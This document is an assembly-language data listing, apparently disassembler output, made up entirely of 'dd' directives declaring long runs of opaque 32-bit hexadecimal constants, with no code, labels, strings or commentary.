		dd 159B0920h, 5AB2B712h, 9C90A048h, 53BE1F8Eh, 8FA44CC7h
		dd 0B953B610h, 4017134Ch, 4529832h, 912549F8h, 3C5C1BB0h
		dd 46390C3Eh, 1E113C17h, 1074E34Ch, 0E0125D48h,	89DC32FAh
		dd 4109A893h, 90269678h, 93DB4168h, 13848A4h, 8A1C36BEh
		dd 16A601D9h, 1C6AA4F8h, 8F53625Ah, 75619969h, 0D2A95F2Bh
		dd 0AAA2E4C3h, 8E97D9C0h, 93BD3C03h, 0E7CE746Fh, 529569B1h
		dd 0EC302071h, 7896EAB8h, 942B3A9Bh, 11286C36h,	64A59C1Fh
		dd 71979003h, 0C0529B5Dh, 7969566h, 536979B8h, 0E809CB78h
		dd 8460F087h, 669E076Bh, 91649DD2h, 45A9BF8h, 7A7FC0FAh
		dd 0E799860h, 6265635Dh, 5818926Ah, 0B8922615h,	414FC09h
		dd 122480C4h, 57FBC96h,	253611F7h, 0A18497D0h, 705DFA75h
		dd 0C81335B0h, 4C41F272h, 2FA5D079h, 1463870h, 0D82FDCAh
		dd 60E94CA4h, 350F7A14h, 0F65C8BA6h, 1E810C18h,	0CBBE0FECh
		dd 97007B82h, 0D1D7E2E3h, 48055700h, 9AB2D533h,	7C5D1D9Ch
		dd 0E9A445EFh, 8174C768h, 0BE11D7B8h, 7BFB0F70h, 7181F8E8h
		dd 0B29633CBh, 61B3A0D9h, 73630878h, 0A848B79h,	0FD06C1C0h
		dd 282967Ch, 54AEEA6Eh,	0BF3F7CB4h, 10DD7C2Dh, 23970D84h
		dd 868E4C6h, 0A5FB708Dh, 0D838808h, 0CEF82E57h,	0DD20ACC6h
		dd 15BF0D27h, 6404B4Fh,	2B1E509Ch, 0A314DB61h, 18EB82D4h
		dd 0A08CBBD2h, 8FF36481h
		dd 99808118h, 0A3032529h, 4098E804h, 452E5643h,	18D32210h
		dd 0D700C1F8h, 27AC1EE0h, 7C90BCCCh, 14DCB108h,	0D37848F2h
		dd 284C1548h, 6415AE89h, 0F591EE6h, 3D2155FCh, 7090E687h
		dd 7F98EACFh, 470054F2h, 0B8A99973h, 0EEA6605Bh, 9F913C69h
		dd 0C578762Ch, 0A8508079h, 54B05D65h, 0B21D2BF8h, 9D134785h
		dd 3FDC7C80h, 0D241298Ch, 4D898744h, 0ACC770BCh, 0C9535367h
		dd 8D150F04h, 0CC68A79h, 80030868h, 0E473779Bh,	0BA8F7451h
		dd 0F07862F6h, 88318442h, 0C21094B2h, 8038E8A0h, 3E81342Eh
		dd 0A66CD05Ch, 0ED12F708h, 308A0A27h, 219DDAD1h, 0B0C421A6h
		dd 0C381444Dh, 86764A4h, 701042C4h, 886E2E14h, 0DF9CBE26h
		dd 5E2ED705h, 52B1C461h, 50008C59h, 684B79BAh, 19182817h
		dd 12960999h, 48942497h, 22929195h, 91904493h, 8F128E89h
		dd 8D488C24h, 8B228A91h, 89898844h, 0E0871386h,	0FA488AF6h
		dd 3142F67Fh, 0EDC1B283h, 0EFB89439h, 9792B284h, 525F5904h
		dd 0BC80C608h, 9B3DD76Bh, 33F19C0Fh, 80F38F4Bh,	0D1EDD808h
		dd 0EEECB3h, 0D75A983Ch, 0F14C99ABh, 0D154D1F7h, 0E3BCE1BBh
		dd 1C644020h, 90F73204h, 0B3CA0E68h, 99A187D2h,	535E5D82h
		dd 1FFA5F48h, 4A56FD04h, 8688CC36h, 7A46821Ch, 0BE408CC8h
		dd 5C384B29h, 66986404h, 9D407E7Bh, 0A08967ACh,	0A0A309C8h
		dd 0FD048518h, 1B6F7057h, 0E656BF03h, 0E1D26640h, 10431557h
		dd 95339AE3h, 0D8696038h, 0F207A396h, 3F6C56D6h, 187C64C7h
		dd 0B9CA1EDEh, 0A7F1811Ah, 43F5BC84h, 43E0C11Ch, 0D20A3E79h
		dd 2836CE14h, 70EAFA45h, 175495E4h, 1541B061h, 309F87EEh
		dd 0B1850073h, 0A0265182h, 7F006478h, 5B4A32BAh, 347A495h
		dd 6A93BD16h, 66889778h, 7974EE18h, 0A6917400h,	0A8958675h
		dd 93600362h, 7FCB5997h, 0E86979E1h, 64E8758Ah,	74779C03h
		dd 0A75232B1h, 677985C0h, 40AC6199h, 0F064AA69h, 6A797B9Dh
		dd 40335F2Ah, 0AD1E60F8h, 73077671h, 9EC11798h,	89E16775h
		dd 98823049h, 98635A6Ch, 0F47A1C99h, 0CB80925Dh, 6AA502AFh
		dd 6CA66067h, 95DF609Ah, 0FA5A45DCh, 0A66AA420h, 57ACE81Dh
		dd 5F761867h, 60A4E4A8h, 64A22502h, 45635067h, 696A8530h
		dd 66C40095h, 6F9868A3h, 7C648A15h, 80CB8F38h, 0B76FAA8Eh
		dd 746B7D9Eh, 2314A591h, 7F328040h, 538EDC6Fh, 993A5F71h
		dd 0A58A1579h, 67A40EF8h, 59EF7D63h, 86505770h,	344E289h
		dd 4B88BD14h, 0B4E0827Ah, 0A93A8A66h, 98620961h, 8E34816Dh
		dd 356974h, 268F63D0h, 9B466B5h, 98206F67h, 0A2AE5F62h
		dd 968A271Fh, 0F0E860D3h, 0CB28506Ch, 7CA9D11Fh, 0A06E2066h
		dd 0A8926FA6h, 0EC654871h, 58FE506Bh, 0DC29A761h, 5D1C91ACh
		dd 57692476h, 6BA40030h, 6887CE67h, 56917725h, 58A15A98h
		dd 0E56077B8h, 65546062h, 9A2C7BF0h, 950FAD97h,	915C035Eh
		dd 634013A1h, 0CEC000A8h, 627870A6h, 5A60530Eh,	12738F65h
		dd 3C8E8C00h, 0C76D9691h, 1E679B56h, 0FD394AFh,	2B0E5EFCh
		dd 5CA00372h, 1019A699h, 94609B62h, 58DDE7D3h, 979D3689h
		dd 93D88155h, 0AB202B64h, 6F91E865h, 0A5E930A8h, 67D4A255h
		dd 9413FF5Ah, 6360A012h, 0FFD03EABh, 0A583F852h, 52C27468h
		dd 0DC05D4ECh, 0CE7760ACh, 0F01D6098h, 5E790F7Fh, 0FE9E5295h
		dd 25B893FCh, 0FF7AB05Ch, 0E575C89h, 5A8984h, 902B6AE8h
		dd 3085F9ABh, 857364A5h, 7072FF7Ch, 5F0C7BAAh, 164769D8h
		dd 2A79374h, 73A4B5C4h,	6797B4C1h, 765313E4h, 0C0980C62h
		dd 0FFA36598h, 0A4E3DC61h, 7797D881h, 75AAE1E3h, 1C48C462h
		dd 9E2523Dh, 0C4C25A66h, 6765E494h, 0C091AA50h,	62FD8C40h
		dd 48702070h, 7D7CFC5Fh, 1F68DF95h, 9A7602A6h, 20E467A5h
		dd 2C219096h, 9A3C0F49h, 0BC415D80h, 50343060h,	2B6658C0h
		dd 3E6DA593h, 0B066655Bh, 895380DCh, 17504818h,	0CDB5BAEh
		dd 7C8EB0EBh, 858A2D1Dh, 64C18493h, 291EDEABh, 0D11866B4h
		dd 64C86443h, 98141472h, 0EF68676Ah, 86758900h,	7764A796h
		dd 6A2ED8B0h, 85B9647Bh, 7473979Ah, 0F8CD1856h,	73CE5010h
		dd 17807448h, 44696677h, 0BA966220h, 6097F0D1h,	773A443Ch
		dd 6AA59909h, 0D49E3CE4h, 0A0129863h, 2E5D55A6h, 39809C64h
		dd 759F9Eh, 69798D62h, 762E9399h, 5807905Fh, 5447B97Bh
		dd 6502CC8h, 21719B67h,	62637404h, 89BF79A9h, 0F6806500h
		dd 0CB06C85Bh, 1768A2BBh, 54D7983h, 0D47393E0h,	8B342EE8h
		dd 62B8C1AFh, 68D0507Dh, 9EAF0FBBh, 90DC376Bh, 6A933AB6h
		dd 1DB8F0D0h, 7B7E18h, 6BA96014h, 0AD3BCE69h, 7421E170h
		dd 78C8A766h, 71A62893h, 0E85897C8h, 647790CBh,	85EE27E0h
		dd 6A388008h, 869F5F10h, 67669401h, 0E3D39783h,	0BE288E99h
		dd 0B5123A60h, 0DC1C10A8h, 0D873621Fh, 0AA95209Eh, 9169641Eh
		dd 5F277F7Ah, 0B9B80BA5h, 0C45233E0h, 8C808879h, 5652A841h
		dd 47DDEC28h, 0C6925D71h, 9A0AD84Bh, 0DC636675h, 79CE143Ah
		dd 0D3D841D0h, 6C7880FFh, 0A14C935Ah, 82507804h, 0A9029180h
		dd 3FF81F75h, 0A6B08576h, 7053F040h, 5FA5945Dh,	65DC3158h
		dd 529DE077h, 67E97564h, 4A58A90Ah, 983662DCh, 30C2605Ah
		dd 0D11F61A9h, 5B7882D4h, 44419F5Eh, 29F44D91h,	0F0D29364h
		dd 702042A7h, 0F787C30h, 6269718Ch, 7FE8790Ch, 12F0C0D0h
		dd 188B746Ah, 5A46B0FEh, 63A61394h, 7CDC0078h, 75A49982h
		dd 0F777CB07h, 0BC60C0E4h, 6F4B3B5h, 168898A0h,	5200413Ah
		dd 0BB899640h, 33F2374Ch, 4A0854B3h, 49732100h,	0F3667F96h
		dd 4635067Ah, 80EDD511h, 7425C00Ch, 3C15883h, 0BB8E6BD8h
		dd 0DAC05CDDh, 4518C091h, 93208D70h, 307DF078h,	9C10BF3Ch
		dd 907C080Fh, 3BBE7201h, 0CEF0DDBAh, 61CB3881h,	3A8C163Ch
		dd 0CED18B4h, 837B81A6h, 0AD4EA368h, 0B8754080h, 55D20025h
		dd 5AAC0C3Dh, 0D5012ED4h, 837F06EEh, 1CC4F073h,	9B3D0256h
		dd 4782C767h, 4B23209Eh, 0C87902D5h, 0E003A51h,	0C164DDC4h
		dd 0EFF37A90h, 0DE8450D4h, 0C93E46AFh, 18F00CCFh, 0A413028h
		dd 881C2EBEh, 12C38CD4h, 0A0E079Eh, 40DFD067h, 0A7EC8D92h
		dd 177A130Dh, 344FAE8Ch, 2AB53EDh, 0B3AD1CF8h, 7E466700h
		dd 8B0F2589h, 0BF4068F4h, 974E7D3Dh, 215CCD0h, 881C4092h
		dd 89201848h, 4D00BC9Bh, 0F4A13A36h, 4871C735h,	84230C86h
		dd 8D967C01h, 4D186CBBh, 457788h, 0A5598C96h, 92B6BF82h
		dd 0A4A861C1h, 0C88A4FB5h, 0CB2BEh, 21170818h, 7B0F3F59h
		dd 0E5871F3h, 40949596h, 0DC05DE14h, 6E5CBB66h,	2CC0E004h
		dd 0B9F96441h, 4CE43ADDh, 4A620CCBh, 1F50864Bh,	0B32370A4h
		dd 101C233Bh, 23A44744h, 763A86FCh, 1B302147h, 44FD618Bh
		dd 0E555008Eh, 492AD5C3h, 81030398h, 0C19C8D63h, 0C2D0069Eh
		dd 70F57405h, 0F9D10C1h, 685B72D1h, 47D61E88h, 0F2E307F5h
		dd 2089F9C7h, 0C0E58B68h, 0FA10280Dh, 10A14C54h, 708C51BCh
		dd 0DEF501A3h, 88123BD2h, 211FD319h, 7F5377FDh,	0B2D50B02h
		dd 62744F2Eh, 0A8334F30h, 50C78A8Eh, 9AE985Fh, 3353F9C4h
		dd 5048D011h, 0DE59ECA0h, 0F13F200h, 1085DF87h,	82190F44h
		dd 0D8C13B45h, 0CD05BB84h, 708440F9h, 4899B98Fh, 8F3DFEF0h
		dd 5C88FEC7h, 8843162Ah, 61A66F00h, 327487F3h, 0BEF50099h
		dd 0E2313D08h, 0BB76B47Ch, 0D1FD8830h, 0E5C3C194h, 60DD4C20h
		dd 7595E9E8h, 0BCA08508h
		dd 0A21E8B89h, 6A439B01h, 916ECBA9h, 0B52F1A81h, 33052014h
		dd 5F119003h, 0F63899C9h, 0DEEE08h, 0B7495E4h, 0D3C74226h
		dd 0AA27FB04h, 80EBF3FCh, 0BA45AE67h, 0C31CAB1Fh, 128AE8C0h
		dd 0FC4CF1h, 9F9D341Eh,	7065B53Dh, 0C6482300h, 0D1E894EBh
		dd 0C1BBFC68h, 5F14F560h, 7FA1DC27h, 9C176C00h,	3B984D3Eh
		dd 57890EF8h, 48B88B35h, 1830F219h, 51AA99B0h, 488EE9E6h
		dd 86C054F1h, 4EB6E3EBh, 774B8B00h, 8047E234h, 3050C12Fh
		dd 83ABD4B3h, 0F6176FA8h, 1B180034h, 9B7E6488h,	2F0F70F0h
		dd 804CE710h, 0FC33E118h, 0D1918BAh, 1AB5B199h,	83829D39h
		dd 12E93A3Fh, 0A7083077h, 9D61DC21h, 0C9F7B90Fh, 81E037Eh
		dd 2E5006D1h, 809EA8ABh, 341A8306h, 81D8CF73h, 0BA109888h
		dd 0F35463DCh, 0C320209Ch, 2848C5Fh, 69958F1Dh,	80A2E906h
		dd 0A580EBC4h, 0DA56EA6Ch, 8CC6372h, 0A621C0h, 3555F5E3h
		dd 0B97774BDh, 5902FE01h, 0CA5C1F6Eh, 4613A080h, 67FF2595h
		dd 5BD77815h, 0F7C50CD8h, 48478D6h, 0DD92E3E5h,	7F3E00E4h
		dd 71671E58h, 5FB719B9h, 9ED508A9h, 58801C21h, 8B7139B3h
		dd 507E41Ah, 846350A0h,	0BAC42897h, 2F6C8E06h, 0E890DC30h
		dd 9464305Bh, 0E4172A28h, 6F18CB60h, 2BB20C86h,	1F097E1h
		dd 7DB5DE11h, 5B1024B7h, 0F126151Fh, 6C6212D2h,	0D7620A0h
		dd 8F043526h, 0DDCE0232h, 499B5481h, 88606005h,	0BB1F5E6Eh
		dd 603CF28Eh, 0AC632E41h, 6BA0C9C2h, 88407F86h,	2B26C915h
		dd 47750358h, 7B5A720h,	0E8A6FD58h, 0E990D202h,	50694A0h
		dd 0A71282CAh, 0A8709AD9h, 53942554h, 2E0E9470h, 2058A8B3h
		dd 0FE0062E1h, 3E78FCFBh, 603B6867h, 349A684Ah,	0C0C1EDF3h
		dd 4B935847h, 29802422h, 0D1C5738Dh, 2DF66E03h,	935053h
		dd 0B0542258h, 0B9F2A0A1h, 0A50C48A8h, 0CC005492h, 0AC5DB790h
		dd 1EC8758Bh, 92CE070Ah, 0CB68015Eh, 813F9C46h,	6C1961B0h
		dd 8424C427h, 68630C1Ah, 0FB907E59h, 0B00BBA24h, 809D1CC0h
		dd 220F461Ah, 63D600AEh, 0CBC5259Dh, 0F500FAC1h, 35809CA4h
		dd 0E6CCA52Eh, 284148B4h, 5ED51F81h, 0B840D618h, 6F89EBE7h
		dd 0E80F1208h, 41CFA281h, 0A56768A8h, 9C3ADC00h, 85FE5B00h
		dd 0B01935ABh, 84F4D04Bh, 0A82EEB06h, 0D88CD0CEh, 0BCCC8E48h
		dd 92E8CBFh, 74003F40h,	0A101A98Ch, 0F81515C7h,	3081FCAFh
		dd 8A4CC53h, 79A10112h,	2C5B3174h, 0AD18A8ACh, 4506B51Fh
		dd 380CF5DFh, 4C9918A7h, 0ACBC64FBh, 0FECE008Ch, 0F7B5EF43h
		dd 8200902Dh, 7AC6D5FDh, 4651289h, 43C59535h, 0F30706F0h
		dd 79A700D9h, 0E23886F9h, 6FE8158Eh, 64247E79h,	586AAC1Fh
		dd 1347BB0Bh, 0CF10100Ch, 2BD84055h, 8420C758h,	608B54BBh
		dd 2020F212h, 4AA115F8h, 8010813Fh, 8832BADDh, 1258B922h
		dd 4E8B5AE1h, 665220ECh, 65027840h, 8F341B32h, 467464D7h
		dd 588002E6h, 3191671Dh, 0B81B10D8h, 0C9430758h, 21C2A516h
		dd 34A04F6Eh, 4043800h,	7C90D185h, 0A5760CD8h, 60D7C434h
		dd 3D78B144h, 984C8526h, 1DF8410h, 1F91F213h, 6660B7FFh
		dd 90744D61h, 8CA5B8h, 8B982181h, 0F36D9212h, 19048C9Bh
		dd 1897A20Ch, 16485FD0h, 67864h, 66A18D68h, 8EB9F4ACh
		dd 6026D409h, 24EC91E7h, 880C04F6h, 900F8C4h, 154D6DECh
		dd 1DCE1F88h, 58F21491h, 8E2E91B9h, 7440A0ACh, 82028CECh
		dd 61671B58h, 13D919BAh, 4F58D829h, 0DF4A3A3Fh,	0B2F8630Ch
		dd 0FA098C88h, 7736C0Fh, 2B987704h, 0A67A0C1Ch,	0EC00AC89h
		dd 2400A33h, 0EA987FAh,	9F780F90h, 8455F4E0h, 27146EBEh
		dd 6BC4870h, 0CC265B2Ch, 1CF12C68h, 0B3AE4220h,	0E8A008E4h
		dd 80B8912Fh, 0E0DE3835h, 0E0A8E062h, 80E5570Ch, 81738986h
		dd 696EB609h, 9440A9BBh, 4B480AA8h, 9030BFA8h, 47E41A90h
		dd 69E0C020h, 4C34A4CFh, 182314A5h, 849D1D0Bh, 14D80758h
		dd 64D788ABh, 1D7C9D00h, 71484558h, 7A8B87Dh, 8D2E6254h
		dd 2578903Ch, 5678B64Bh, 0F18428B3h, 0C898BA4Ch, 5B2F09F5h
		dd 2848A570h, 0B401B8E5h, 0C0C6BFF2h, 0CC700B49h, 0A4AD547Bh
		dd 0CBC0FFD4h, 270F009Eh, 3BB88E90h, 28983718h,	0F4A9E720h
		dd 0F27320FCh, 1D205E09h, 95CF8082h, 9A975AAAh,	4EE3055Ch
		dd 4E4CD7ECh, 0CE298CDCh, 0C4D45430h, 83F4D338h, 0F40679Ch
		dd 0EA6001B8h, 16EC7E6Ah, 0B080C63Ch, 9D04B350h, 0FB02F8BAh
		dd 2D5C88B7h, 205C40C9h, 0CCDF262Ch, 0FC024F38h, 3C48CBC3h
		dd 0B940137Ah, 0C8246242h, 2007ABFFh, 0BFC383h,	9013E239h
		dd 0AD37A5C0h, 14805890h, 5F0E14E8h, 0A10D1C07h, 443C27E2h
		dd 169E2074h, 606B958Fh, 16F5ED54h, 11DA6C23h, 0E5A400BEh
		dd 9983EBF5h, 0F4DCE1D4h, 78650C1Ah, 3499B063h,	15C87320h
		dd 98A40D7Fh, 0C0F3F41Dh, 0D861D2DCh, 2C00EA28h, 269E3181h
		dd 0F93F2245h, 0A17F4888h, 0B335F401h, 9C42B03Ch, 44E0DFE4h
		dd 4D607B20h, 14079520h, 0C4C2001Ah, 414082BBh,	0F707C9FBh
		dd 16D1B0BEh, 1B678890h, 0D0A500DBh, 22560D6Dh,	0E420F6F2h
		dd 3DFB24F7h, 204E14A2h, 18D80AF1h, 0E42803F9h,	0FB396ED9h
		dd 0C45D00AFh, 80EB4D2h, 802B76D3h, 0EA82E82Ah,	0F98A0386h
		dd 444FC125h, 0B5D0A390h, 0FBB8C200h, 3201E17Bh, 0C3310030h
		dd 4C39D95Dh, 58C072B2h, 0BE928EC9h, 85F82623h,	7DEF0C83h
		dd 21C08208h, 4DBE8AAFh, 104B6057h, 691F5E6Eh, 7C23EA00h
		dd 3CA97158h, 74B600FDh, 0C3322270h, 6D03890Ah,	687FFA93h
		dd 0F790066Bh, 0F1D7E0F6h, 74324F18h, 27EE18h, 0A43FC9DDh
		dd 3D571CFBh, 35969C9h,	0D0C2CAE0h, 66BA72EEh, 214F083Fh
		dd 8D4E7C00h, 0B37DE176h, 0F7B1C078h, 0AE3EEBCh, 87CA0B00h
		dd 678489DFh, 704D607Ch, 0C5A5BEFBh, 86401903h,	5462057h
		dd 8F3A3518h, 61B801CAh, 80E51383h, 889267C8h, 0A035197Fh
		dd 0E01EEED0h, 0C4BF0A20h, 80B0C390h, 5B0A6E29h, 23753B81h
		dd 413149C0h, 0F5AA5C9h, 0E98E9BE4h, 3AE162E0h,	9A519105h
		dd 0F72C0084h, 1892E0C6h, 73427E01h, 984F0A3Fh,	15D8D99Dh
		dd 9380DC4Dh, 8DF824BEh, 0B084448Ch, 80BE8B0Eh,	91F4A76Dh
		dd 74F77720h, 0A03A5475h, 0A3B83CBCh, 7DCAC060h, 0B9CF98BEh
		dd 21C50365h, 2878FEh, 9932291Bh, 3D934684h, 80E7C33h
		dd 42310015h, 0E0F23221h, 0D05F8C5Ch, 6C0678A8h, 609527B8h
		dd 8882348h, 619C639h, 899FF3D8h, 9390C208h, 7AB30C8Ch
		dd 0D700DCC1h, 0C8AB06D6h, 0F4CB45D4h, 2C4D00D2h, 757222A7h
		dd 4E300A39h, 0BF3531B2h, 0B8E549F8h, 0C064A178h, 32082418h
		dd 0C41E8494h, 1C405E16h, 6687A632h, 70051F89h,	8449840Dh
		dd 83C490CFh, 0A314216Ch, 345844h, 0D4D37EF8h, 0F4308F43h
		dd 0C3F70014h, 0D8FFFD65h, 83E1EBF2h, 6F906260h, 0C8E840A1h
		dd 0C92E6CD6h, 7C009F49h, 7B2422BBh, 90310387h,	3348F80Ch
		dd 0BE81CB80h, 0DF40E87Bh, 0EED91842h, 0D224150h, 3FE0C9C0h
		dd 4CEB98D1h, 8C0280C0h, 9222099Dh, 0FA124D40h,	0BFD6ED00h
		dd 3952AE56h, 0A0C330B0h, 896F3498h, 71CDE330h,	71FCC6E9h
		dd 5DB30C53h, 0DE094AFFh, 0BF0921C0h, 0E68EDCFCh, 904E2BEh
		dd 0A5AD4017h, 55618803h, 14FFA2B9h, 0C0C4C808h, 84983228h
		dd 13223E46h, 3220410Fh, 438B077Eh, 307F2470h, 76E49266h
		dd 84E651D6h, 1188F40Eh, 9C332DC0h, 4CF800D5h, 92F3C24Fh
		dd 7226621Bh, 1E4448F4h
		dd 0CC8D5860h, 1167C223h, 507E0051h, 0AFBCAB8Dh, 487A0724h
		dd 30D5A1BAh, 0C7217BCDh, 8AFF8014h, 0FDD90CB4h, 2448393Ch
		dd 25F9CB2h, 0B60579C2h, 30B50C60h, 0C04E5780h,	0BD132F29h
		dd 8600ED0Bh, 0A9F9F1BAh, 3F0A2E9h, 52DAC05Bh, 8AB1755Fh
		dd 25822E4h, 3EEDB947h,	1277E25Eh, 0F8CC0F90h, 3C5CE390h
		dd 40901E4h, 480424D3h,	8800CE89h, 0B454C00Fh, 3AC37860h
		dd 63FEFD9h, 638844B9h,	4F0F89Eh, 681D6F34h, 715FA081h
		dd 46334D00h, 884B0A24h, 0A0880249h, 0D6F090D5h, 0A351C1B9h
		dd 0D36F33FEh, 30A631C3h, 13404948h, 300DB814h,	15FD684Bh
		dd 0F380C200h, 90E86560h, 83100EF4h, 0CD5163D8h, 0C9C2EA03h
		dd 3E2C3324h, 8D9AC618h, 4A0B1A9h, 0F26324C8h, 3803A098h
		dd 0AF01BCBh, 3BBFD85Ch, 80C49054h, 2098C278h, 77BA09Bh
		dd 7D187160h, 99CA43BCh, 180FF14Ch, 3FDCA1D8h, 6807D821h
		dd 27AB2B41h, 52BFA848h, 8F11B488h, 87B8080Ah, 4EB30B9Bh
		dd 0C8870029h, 0D42628D0h, 1030980Bh, 0C2E45844h, 48C45F19h
		dd 0E71FB840h, 0C37DB8C2h, 998621FDh, 0FE9096D9h, 7F845002h
		dd 0C140E85Ch, 3030D693h, 87D88F1Ch, 5A00B57Fh,	0A6FFCE52h
		dd 0D16CBC0h, 1E0803B6h, 0A2743330h, 33983087h,	71288600h
		dd 2F904538h, 90E1549Fh, 1405E503h, 8B261C18h, 0FCC8C070h
		dd 0C3465355h, 0B01E022h, 31A2FCC1h, 1870728Ah,	24445CACh
		dd 12F0288Fh, 5C204C0Ah, 4190F6F9h, 0EC81F1FEh,	3505B08Ah
		dd 0CC18BEF8h, 5430AC21h, 98EEF700h, 0C486C4A8h, 0FA31F201h
		dd 0FCB0F3D9h, 60871034h, 282F91CEh, 57090C4Ah,	0ADF2F4h
		dd 60D1F348h, 0FA3D01DCh, 0ECB9CF9Ah, 1CD6D8C0h, 5C58D062h
		dd 20984934h, 5A026836h, 77C2CE8Dh, 80105531h, 71008D52h
		dd 174BF7B5h, 483DA946h, 4E6834F3h, 0F03000B0h,	0D9A47903h
		dd 11D91CB9h, 0B77D618h, 79435830h, 4860C001h, 260C97D2h
		dd 0F758E113h, 0FB08BE13h, 44570821h, 0AA848C10h, 0A2098A01h
		dd 5D0BF23Ch, 0F3C4F08Ch, 3309009h, 0FC55B07Dh,	0F42F4896h
		dd 0A420F789h, 0FD3B2BF5h, 7980714Ch, 3AB8D354h, 0A2033871h
		dd 0F08A14Ah, 0BCCFE1BAh, 10849024h, 2945CC5Fh,	0D41ADCF1h
		dd 19B80499h, 0C78D5360h, 113FC223h, 4B790050h,	0C1160E8Dh
		dd 54D89824h, 60E39418h, 1B2D91DBh, 2100ECE2h, 0AA20C9E9h
		dd 924E96h, 2C8FA7B1h, 6CCEF8ADh, 55A0D363h, 0A03DF84Bh
		dd 0C6E50684h, 0F05FFFB0h, 7FA2A0Eh, 5048E62Ch,	88CF51C0h
		dd 2089C221h, 682081B3h, 2A970B7Bh, 9F52D43Bh, 0E341792Ch
		dd 8E8CE63Fh, 90C262C4h, 4E1C208Ch, 0C0A6D3Ch, 1047B487h
		dd 4C770A2Dh, 1C889588h, 21F28AF4h, 903802C0h, 0CC806F4Bh
		dd 0D992C84h, 24942D48h, 483AC24h, 485B0C57h, 0F43C0C48h
		dd 0C45A4D72h, 1B48900h, 343E4EA1h, 0EFC07364h,	0C82068A1h
		dd 0B49F883Dh, 8A449617h, 1223403Ah, 97FB1602h,	0D324409Ah
		dd 0FA308084h, 0D4503160h, 9161D0F3h, 80C11180h, 84953225h
		dd 0C070B926h, 3F321D3Eh, 6FF18700h, 786784D0h,	0CEF7805Eh
		dd 25F51022h, 0DC97D8CBh, 0E1818711h, 0ECBFFE74h, 1CB138D6h
		dd 7B0C5385h, 49F8C440h, 985FD602h, 6344204Ch, 0A04A562Ah
		dd 80B1653Eh, 425D9E38h, 0C4BDD1h, 8862BBF5h, 821FB11h
		dd 8C89D1CCh, 3FE405h, 532D7BFAh, 0D99043B0h, 6E99FC60h
		dd 25B35A93h, 6CA4546Ch, 0BE986052h, 0B5F82329h, 387B8811h
		dd 2402BE90h, 0DB640A18h, 314B8CC0h, 55D45F03h,	0D4E49A2Fh
		dd 7AE19890h, 521000F7h, 87EFFD04h, 0D4039E46h,	0F2BB33BCh
		dd 3D9CE0B2h, 0F8F6EC2Bh, 12096E8h, 0B8BC783Eh,	9058FEB3h
		dd 4B52E203h, 37F9FA1Dh, 0A1607616h, 3402EEF4h,	10F69828h
		dd 342C980h, 2C4D5395h,	20242823h, 0BE0A7639h, 6578208Ch
		dd 0D4808C0Dh, 9F8010E7h, 6191247Ch, 0A8A12B0h,	0C59C5138h
		dd 0F8498197h, 859C58ADh, 8FB488h, 0B677B0BEh, 13755E5h
		dd 0A267801Ah, 303052E0h, 0AD317DB1h, 0B400C2B6h, 2FFD5584h
		dd 1FE48ACh, 86FA0631h,	2049145Fh, 0A105C814h, 853B1B3h
		dd 400C24C1h, 8289065h,	0EC4C1493h, 0D1E1EC13h,	7132F400h
		dd 0DC40EE38h, 0F8C56B0Ch, 50D2D71Ah, 0BB1060EEh, 2ED58086h
		dd 9105AF01h, 722D76F4h, 0A1806438h, 0F974A5CFh, 213F40AFh
		dd 254108D7h, 80C93892h, 0E5439C60h, 3EBB4400h,	0D3C47A13h
		dd 0F6BE3C04h, 0FC9DFA43h, 247880C2h, 0A74D6100h, 35D47042h
		dd 0D39474BFh, 39E04968h, 6CE8AC0Eh, 80389308h,	0E1CFF3BCh
		dd 4F26C243h, 6F957434h, 0C4660FC0h, 90177ECEh,	0FC505867h
		dd 8CEB535Ah, 10E644h, 9627FCC6h, 65F47D36h, 751F801h
		dd 8FF6EF88h, 0F2D8FB10h, 0C4896467h, 5073EBF2h, 782C09C4h
		dd 0B0C974F7h, 425611B0h, 128031B8h, 7578CFC0h,	9A5C0E72h
		dd 0A0007F74h, 0DF40A97Ch, 1658235Ch, 48CA1446h, 55C31B84h
		dd 9BF6AE8Dh, 1521184h,	0DF8D4D7Bh, 99C475A1h, 6D60C064h
		dd 7963B8BDh, 8B44589Eh, 40DAE445h, 14607E80h, 480050D0h
		dd 0EDAF4736h, 143D7D0Eh, 0E4B83E27h, 48F29711h, 8C11E8D8h
		dd 2DD193Ch, 98863AD8h,	524090D9h, 0B5780007h, 2B012202h
		dd 9A02177Fh, 23D280ACh, 0B448EBB4h, 0E8BB3482h, 30B0C238h
		dd 53D87693h, 0A1C0C1F4h, 0AE2D6EF8h, 0C965029Bh, 0E1C8F6FAh
		dd 0F744D852h, 4C610F9h, 0A1AC17DFh, 0F4785004h, 5836101h
		dd 87820E1h, 0EC325789h, 0D6D5F700h, 0E59BFAEh,	4F3A1100h
		dd 0DC4C4584h, 3F49EE4Dh, 0E0D3C9B2h, 0B304EA2h, 0A47C01D9h
		dd 0CF75D746h, 7AF07257h, 0B68E5200h, 9DE3DF16h, 209090ACh
		dd 0D400585Ch, 0F8CED5BAh, 4CED80C2h, 4B1D0C5Ah, 3E5B4F48h
		dd 70180D73h, 3BB86019h, 14CAC488h, 0D8BB7E1Ah,	9C90E48Bh
		dd 0EB0067D2h, 42A99148h, 7D168Ah, 0C2C8D82Ah, 586C79E1h
		dd 7494C60h, 0F8599h, 0F481BAAFh, 161ABF0Bh, 0D100AFB8h
		dd 0C940F6F0h, 0A1E75D24h, 0C321D4h, 7BA00771h,	0F030A9F5h
		dd 65DFB09h, 0D36482C9h, 46B07A77h, 0FCC7028Ah,	1CBB5354h
		dd 0FCC00A04h, 60C3C592h, 1216E4ACh, 21DE12B0h,	20B60F74h
		dd 0D9115BECh, 35003AF0h, 0D01C947Ch, 0C2E642E0h, 9F902Dh
		dd 0EF6E1A40h, 0C039D01Eh, 12427810h, 670A3427h, 108C0E1h
		dd 7444245Bh, 7103E546h, 2335C455h, 0D53C90D0h,	2BB2ECF1h
		dd 0F388589Ch, 20CC289Fh, 38A1E62Ch, 8DC4191Fh,	6FC22FCDh
		dd 7F020416h, 6A968D51h, 0A6C985Dh, 39382B89h, 808E91C0h
		dd 5358FCCBh, 0E0087DBh, 3D3EFCC4h, 0DDBA01D5h,	80C35FA4h
		dd 0F34024F9h, 2AEB2312h, 1FB028D3h, 0B30BD319h, 0D4CB89E9h
		dd 82215100h, 8829BC5Eh, 7CF6EAD9h, 0EDB0223Ch,	172C550Dh
		dd 1C58380Bh, 52504D9h,	95A24F84h, 0CC9403E4h, 65A73E8Eh
		dd 24488744h, 672401B5h, 0E8475794h, 305338B5h,	0E2C8F0CBh
		dd 7400B8CAh, 7E3317A3h, 42FF5AC3h, 0E5278324h,	0D494204Ch
